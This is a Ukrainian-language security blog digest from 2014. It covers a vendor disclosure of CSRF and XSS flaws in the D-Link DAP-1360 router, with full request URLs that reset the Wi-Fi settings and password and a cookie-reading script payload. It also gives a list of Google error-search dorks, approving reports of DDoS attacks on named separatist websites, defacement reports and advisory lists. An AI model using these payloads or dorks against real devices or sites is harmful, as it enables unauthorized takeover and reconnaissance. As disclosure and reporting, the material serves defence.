Websecurity - Веб безпека

28.06.2014

Продовжуючи тему уразливостей в D-Link DAP-1360. У квітні, 30.04.2014, я виявив уразливості в D-Link DAP-1360 (Wi-Fi Access Point and Router). Це Cross-Site Request Forgery та Cross-Site Scripting уразливості.

Уразлива версія D-Link DAP-1360, Firmware 1.0.0. Дана модель з іншими прошивками також повинна бути вразливою.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам пристрою.

29.11.2014

CSRF (WASC-09):

В розділі Wi-Fi - Basic settings можна змінити параметри Hide Access Point, SSID, Country, Channel, Wireless mode, Max Associated Clients.

http://192.168.0.50/index.cgi?v2=y&rq=y&res_json=y&res_data_type=json&res_config_action=3&res_config_id=35&res_struct_size=0&res_buf={%22HideSSID%22:false,%22mbssid%22:[{%22SSID%22:%221%22}],%22CountryCode%22:%22UA%22,%22Channel%22:%22auto%22,%22WirelessMode%22:%229%22,%22MaxStaNum%22:%220%22}

В розділі Wi-Fi - Security settings можна змінити параметри Network Authentication, Encryption Key PSK, WPA2 Pre-authentication (при вибраному WPA2), WPA Encryption, WPA reneval. А також ряд параметрів (як то RADIUS_Server, RADIUS_Port і RADIUS_Key), які відсутні в GUI.

http://192.168.0.50/index.cgi?v2=y&rq=y&res_json=y&res_data_type=json&res_config_action=3&res_config_id=36&res_struct_size=0&res_buf={%22RekeyInterval%22:%223600%22,%22mbssid%22:[{%22AuthMode%22:%22WPA2PSK%22,%22WPAPSK%22:%22password%22,%22PreAuth%22:false,%22EncrypType%22:%22AES%22}],%22RADIUS_Server%22:%22192.168.0.254%22,%22RADIUS_Port%22:%221812%22,%22RADIUS_Key%22:%22dlink%22}

Даним запитом змінюються вищезгадані параметри, в тому числі пароль точки доступу.

XSS (WASC-08):

Вставити <script>alert(document.cookie)</script> в поле Quick search. Це Strictly Social XSS.

Нова версія прошивки з виправленням даних уразливостей була розроблена в першій половині листопада. Але вона все ще не вийшла, бо D-Link виявив баги в ній і працює на їх виправленням.

Українські Кібер Війська з червня займаються розвідкою. Це аудіо і відео розвідка. Раніше я наводив відео Українських Кібер Військ, що демонструють можливості Українських Кібер Військ по спостереженню за терористами.

Ось 7 нових відео, що зроблені в рамках розвідувальної операції:

Українські Кібер Війська: військова техніка терористів в Донецьку за 13.11.2014 - УКВ записали переміщення військової техніки терористів в Донецьку.

Українські Кібер Війська: військова техніка терористів в Донецьку за 14-15.11.2014 - УКВ записали переміщення військової техніки терористів в Донецьку.

Українські Кібер Війська: патруль ДНР в Донецьку - 14.08.2014 УКВ записали патруль ДНР в Донецьку.

Українські Кібер Війська: військова техніка терористів в Донецьку за 16.11.2014 - УКВ записали переміщення військової техніки терористів в Донецьку.

Українські Кібер Війська: військова техніка терористів в Донецьку за 17.11.2014 - УКВ записали переміщення військової техніки терористів в Донецьку.

Українські Кібер Війська: підрив підстанції в Донецьку - УКВ виявили атаку терористів, які підірвали підстанцію в Донецьку.

Українські Кібер Війська: військова техніка терористів в Донецьку за 18.11.2014 - УКВ записали переміщення військової техніки терористів в Донецьку.

У листопаді місяці Microsoft випустила 16 патчів. Що значно більше ніж у жовтні.

У листопадовому “вівторку патчів” Microsoft випустила черговий пакет оновлень, до якого увійшло 16 бюлетенів по безпеці. Що закривають численні уразливості в програмних продуктах компанії. П’ять патчів закривають критичну уразливість та дев’ять патчів закривають важливі та два помірні уразливості.

Дані патчі стосуються всіх поточних операційних систем компанії Microsoft - Windows 2003, Vista, 2008, 7, 2008 R2, 8, 2012, RT, 8.1 та RT 8.1. А також Microsoft Office, SharePoint Server, Internet Explorer, .NET Framework, Internet Information Services та Exchange Server.

Продовжу тему “Error” Гугл хакінга (”Error” Google hacking). Котрий є різновидом Гугл хакінга - використання пошукових систем (зокрема Гугла) для пошуку уразливостей на сайтах.

Дана методика передбачає використання Гугла (чи інших пошукових систем) з метою пошуку повідомлень на сайтах про помилки, і дозволяє знайти важливу інформацію стосовно даних сайтів. За допомогою спеціальних пошукових запитів (дорків) можна знайти Full path disclosure та Information leakage уразливості на різноманітних сайтах в Інтернеті.

Новий перелік “еррор” пошукових запитів:

“Out of memory Needed”

“Fatal error: Out of memory”

“Fatal error” “not found”

“Fatal error” “no such file”

“Fatal error” “does not exist”

“db do failed”

“Could not execute query”

“DBD::mysql::st execute failed”

“ODBC Error Code”

“Oracle Error Code”

У жовтні вже відбувалися DDoS атаки на сайти ДНР і ЛНР. Розповім про DDoS атаки на сайти цих терористичних організацій, що мали місце у листопаді.

Це DDoS атаки на різні сайти ДНР і ЛНР, які ГПУ визнала терористичними організаціями, а також на сайти, які підтримують їх. Що були проведені Українськими Кібер Військами.

DDoS на без-вести.рф - 01-16.11.2014
DDoS на ungu.org - 01-16.11.2014
DDoS на pravdatoday.info - 01-16.11.2014
DDoS на bne.su - 01-16.11.2014
DDoS на lvs-global.ru - 01-16.11.2014
DDoS на slemtt.myjino.ru - 01-16.11.2014
DDoS на odessa-antimaydan.com - 01-16.11.2014
DDoS на cik-lnr.info - 02-03.11.2014
DDoS на molotpravdu.com - 02-10.11.2014 і 16.11.2014
DDoS на vineyardsaker.ru - 09-13.11.2014
DDoS на real-info.info - 12-13.11.2014
DDoS на ispomodnr.ru - 16.11.2014

Та інші сайти ДНР і ЛНР.

Таким чином українські хакери висловили протест проти цих незаконних організацій на їх сайтах. Деякі з них тимчасово не працювали, а деякі сайти припинили роботу.

Виявлена можливість обходу обмежень в Microsoft IIS.

Уразливі продукти: Microsoft Internet Information Services 8.0, Internet Information Services 8.5.

Можна обійти обмеження по IP і доменам в IIS.

• Microsoft Security Bulletin MS14-076 - Important Vulnerability in Internet Information Services (IIS) Could Allow Security Feature Bypass (2982998) (деталі)

В даній добірці експлоіти в веб додатках:

• Mulesoft ESB Runtime 3.5.1 Privilege Escalation / Code Execution Vulnerabilities (деталі)
• TestLink 1.9.12 Multiple Vulnerabilities (деталі)
• Boat Browser 8.0 and 8.0.1 - Remote Code Execution Vulnerability (деталі)
• vBulletin 5.1.2 SQL Injection Exploit 0day (деталі)
• Kolibri WebServer 2.0 - GET Request SEH Exploit (деталі)

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://cses.gov.ua (хакером Fatal Error) - 27.09.2014 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://snigiryevka-rada.gov.ua (хакером PaWL) - 05.10.2014 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://tas.zp.ua (хакером Silo)
• http://эталонпринт.com.ua (хакером DARKWAR2) - 28.10.2014, зараз сайт вже виправлений адмінами
• http://www.tiraz.biz.ua (хакером Index Php) - 05.11.2014, зараз сайт вже виправлений адмінами

Виявлений витік інформації в cURL і libcurl.

Уразливі продукти: cURL 7.38, libcurl 7.38.

Витік умісту пам’яті через POST-запит.

• Vulnerability in curl (деталі)

В даній добірці уразливості в веб додатках:

• HP SiteScope, issueSiebelCmd SOAP Request, Remote Code Execution (деталі)
• vulnerabilities in cacti (деталі)
• vulnerabilities in check_mk (деталі)
• Multiple vulnerabilities in mediawiki (деталі)
• tryton-client security update (деталі)